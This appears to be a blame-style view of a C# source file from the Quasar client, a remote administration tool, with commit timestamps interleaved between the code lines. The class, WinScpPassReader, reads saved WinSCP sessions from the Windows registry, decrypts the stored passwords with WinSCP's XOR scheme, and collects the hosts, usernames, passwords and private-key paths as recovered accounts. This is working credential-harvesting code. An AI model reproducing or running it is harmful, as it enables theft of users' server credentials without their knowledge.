2020-05-31 09:53:14 +00:00
|
|
|
|
using Microsoft.Win32;
|
2018-10-04 19:49:24 +00:00
|
|
|
|
using Quasar.Client.Extensions;
|
|
|
|
|
using Quasar.Client.Helper;
|
2018-09-27 08:05:10 +00:00
|
|
|
|
using Quasar.Common.Models;
|
2020-05-31 09:53:14 +00:00
|
|
|
|
using System;
|
|
|
|
|
using System.Collections.Generic;
|
|
|
|
|
using System.Linq;
|
2015-08-18 14:14:42 +00:00
|
|
|
|
|
2018-10-04 19:49:24 +00:00
|
|
|
|
namespace Quasar.Client.Recovery.FtpClients
|
2015-08-18 14:14:42 +00:00
|
|
|
|
{
|
2020-05-31 09:53:14 +00:00
|
|
|
|
public class WinScpPassReader : IAccountReader
|
2015-08-18 14:14:42 +00:00
|
|
|
|
{
|
2020-05-31 09:53:14 +00:00
|
|
|
|
/// <inheritdoc />
|
|
|
|
|
public string ApplicationName => "WinSCP";
|
|
|
|
|
|
|
|
|
|
/// <inheritdoc />
|
|
|
|
|
public IEnumerable<RecoveredAccount> ReadAccounts()
|
2015-08-18 14:14:42 +00:00
|
|
|
|
{
|
|
|
|
|
List<RecoveredAccount> data = new List<RecoveredAccount>();
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-08-26 13:53:00 +00:00
|
|
|
|
string regPath = @"SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions";
|
2015-08-18 16:24:18 +00:00
|
|
|
|
|
2015-08-26 13:53:00 +00:00
|
|
|
|
using (RegistryKey key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, regPath))
|
2015-08-18 14:14:42 +00:00
|
|
|
|
{
|
|
|
|
|
foreach (String subkeyName in key.GetSubKeyNames())
|
|
|
|
|
{
|
2015-08-18 16:24:18 +00:00
|
|
|
|
using (RegistryKey accountKey = key.OpenReadonlySubKeySafe(subkeyName))
|
2015-08-18 14:14:42 +00:00
|
|
|
|
{
|
2015-08-18 16:24:18 +00:00
|
|
|
|
if (accountKey == null) continue;
|
|
|
|
|
string host = accountKey.GetValueSafe("HostName");
|
|
|
|
|
if (string.IsNullOrEmpty(host)) continue;
|
|
|
|
|
|
|
|
|
|
string user = accountKey.GetValueSafe("UserName");
|
|
|
|
|
string password = WinSCPDecrypt(user, accountKey.GetValueSafe("Password"), host);
|
|
|
|
|
string privateKeyFile = accountKey.GetValueSafe("PublicKeyFile");
|
|
|
|
|
host += ":" + accountKey.GetValueSafe("PortNumber", "22");
|
|
|
|
|
|
|
|
|
|
if (string.IsNullOrEmpty(password) && !string.IsNullOrEmpty(privateKeyFile))
|
|
|
|
|
password = string.Format("[PRIVATE KEY LOCATION: \"{0}\"]", Uri.UnescapeDataString(privateKeyFile));
|
|
|
|
|
|
2015-08-18 14:14:42 +00:00
|
|
|
|
data.Add(new RecoveredAccount
|
|
|
|
|
{
|
2018-09-22 12:50:44 +00:00
|
|
|
|
Url = host,
|
2015-08-18 16:24:18 +00:00
|
|
|
|
Username = user,
|
|
|
|
|
Password = password,
|
2020-05-31 09:53:14 +00:00
|
|
|
|
Application = ApplicationName
|
2015-08-18 14:14:42 +00:00
|
|
|
|
});
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return data;
|
|
|
|
|
}
|
|
|
|
|
catch
|
|
|
|
|
{
|
|
|
|
|
return data;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2020-05-31 09:53:14 +00:00
|
|
|
|
private int dec_next_char(List<string> list)
|
2015-08-18 14:14:42 +00:00
|
|
|
|
{
|
|
|
|
|
int a = int.Parse(list[0]);
|
|
|
|
|
int b = int.Parse(list[1]);
|
|
|
|
|
int f = (255 ^ (((a << 4) + b) ^ 0xA3) & 0xff);
|
|
|
|
|
return f;
|
|
|
|
|
}
|
2020-05-31 09:53:14 +00:00
|
|
|
|
|
|
|
|
|
private string WinSCPDecrypt(string user, string pass, string host)
|
2015-08-18 14:14:42 +00:00
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
if (user == string.Empty || pass == string.Empty || host == string.Empty)
|
|
|
|
|
{
|
|
|
|
|
return "";
|
|
|
|
|
}
|
|
|
|
|
string qq = pass;
|
2015-08-18 16:24:18 +00:00
|
|
|
|
List<string> hashList = qq.Select(keyf => keyf.ToString()).ToList();
|
|
|
|
|
List<string> newHashList = new List<string>();
|
|
|
|
|
for (int i = 0; i < hashList.Count; i++)
|
2015-08-18 14:14:42 +00:00
|
|
|
|
{
|
2015-08-18 16:24:18 +00:00
|
|
|
|
if (hashList[i] == "A")
|
|
|
|
|
newHashList.Add("10");
|
|
|
|
|
if (hashList[i] == "B")
|
|
|
|
|
newHashList.Add("11");
|
|
|
|
|
if (hashList[i] == "C")
|
|
|
|
|
newHashList.Add("12");
|
|
|
|
|
if (hashList[i] == "D")
|
|
|
|
|
newHashList.Add("13");
|
|
|
|
|
if (hashList[i] == "E")
|
|
|
|
|
newHashList.Add("14");
|
|
|
|
|
if (hashList[i] == "F")
|
|
|
|
|
newHashList.Add("15");
|
|
|
|
|
if ("ABCDEF".IndexOf(hashList[i]) == -1)
|
|
|
|
|
newHashList.Add(hashList[i]);
|
2015-08-18 14:14:42 +00:00
|
|
|
|
}
|
2015-08-18 16:24:18 +00:00
|
|
|
|
List<string> newHashList2 = newHashList;
|
2015-08-18 14:14:42 +00:00
|
|
|
|
int length = 0;
|
2015-08-18 16:24:18 +00:00
|
|
|
|
if (dec_next_char(newHashList2) == 255)
|
|
|
|
|
length = dec_next_char(newHashList2);
|
|
|
|
|
newHashList2.Remove(newHashList2[0]);
|
|
|
|
|
newHashList2.Remove(newHashList2[0]);
|
|
|
|
|
newHashList2.Remove(newHashList2[0]);
|
|
|
|
|
newHashList2.Remove(newHashList2[0]);
|
|
|
|
|
length = dec_next_char(newHashList2);
|
|
|
|
|
List<string> newHashList3 = newHashList2;
|
|
|
|
|
newHashList3.Remove(newHashList3[0]);
|
|
|
|
|
newHashList3.Remove(newHashList3[0]);
|
|
|
|
|
int todel = dec_next_char(newHashList2) * 2;
|
2015-08-18 14:14:42 +00:00
|
|
|
|
for (int i = 0; i < todel; i++)
|
|
|
|
|
{
|
2015-08-18 16:24:18 +00:00
|
|
|
|
newHashList2.Remove(newHashList2[0]);
|
2015-08-18 14:14:42 +00:00
|
|
|
|
}
|
|
|
|
|
string password = "";
|
|
|
|
|
for (int i = -1; i < length; i++)
|
|
|
|
|
{
|
2015-08-18 16:24:18 +00:00
|
|
|
|
string data = ((char)dec_next_char(newHashList2)).ToString();
|
|
|
|
|
newHashList2.Remove(newHashList2[0]);
|
|
|
|
|
newHashList2.Remove(newHashList2[0]);
|
2015-08-18 14:14:42 +00:00
|
|
|
|
password = password + data;
|
|
|
|
|
}
|
|
|
|
|
string splitdata = user + host;
|
2015-08-18 16:24:18 +00:00
|
|
|
|
int sp = password.IndexOf(splitdata, StringComparison.Ordinal);
|
2015-08-18 14:14:42 +00:00
|
|
|
|
password = password.Remove(0, sp);
|
|
|
|
|
password = password.Replace(splitdata, "");
|
|
|
|
|
return password;
|
|
|
|
|
}
|
|
|
|
|
catch
|
|
|
|
|
{
|
|
|
|
|
return "";
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|